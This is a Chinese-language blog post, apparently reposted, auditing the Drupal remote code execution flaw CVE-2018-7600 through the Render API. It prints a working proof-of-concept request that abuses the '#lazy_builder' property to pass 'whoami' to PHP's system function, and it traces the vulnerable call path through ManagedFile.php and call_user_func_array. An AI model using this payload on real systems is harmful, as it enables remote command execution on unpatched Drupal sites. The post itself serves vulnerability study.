代码审计之CVE-2018-7600-Drupal远程代码执行漏洞-Render API
今天學(xué)習(xí)一下Drupal的另一個(gè)漏洞,由于渲染數(shù)組不當(dāng)造成的漏洞
poc:
url:http://localhost/drupal-8.5.0/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax post: 'mail[a][#lazy_builder][0]': 'system', 'mail[a][#lazy_builder][1][]': 'whoami', 'form_id': 'user_register_form'
使用poc進(jìn)行測(cè)試,并在斷點(diǎn)處觀察其調(diào)用流程:
函數(shù)的漏洞入口點(diǎn)在:
\core\modules\file\src\Element\ManagedFile.php處
經(jīng)過(guò)explode函數(shù)處理,將get請(qǐng)求中的element_parents參數(shù)的值變成一個(gè)數(shù)組:即比如a/b/c變成了["a","b","c"]
然后將處理完的$form_parents變量傳給NestedArray類的getValue函數(shù)處理,其中$form包含了表單的所有信息,我們跟進(jìn)一下:
其中g(shù)etValue函數(shù)就是將$form中的值逐層取出,
如果$parents為a/b/c,則結(jié)果值為123
? ? ?此時(shí)$callable變量為system,$args變量為["whoami"],然后再調(diào)用call_user_func_array()函數(shù)處理
?
轉(zhuǎn)載于:https://www.cnblogs.com/wfzWebSecuity/p/10514064.html
總結(jié)
以上是生活随笔為你收集整理的代码审计之CVE-2018-7600-Drupal远程代码执行漏洞-Render API的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 力扣——有序链表转换二叉搜索树
- 下一篇: 15 张图, 把TCP/IP 讲得一清二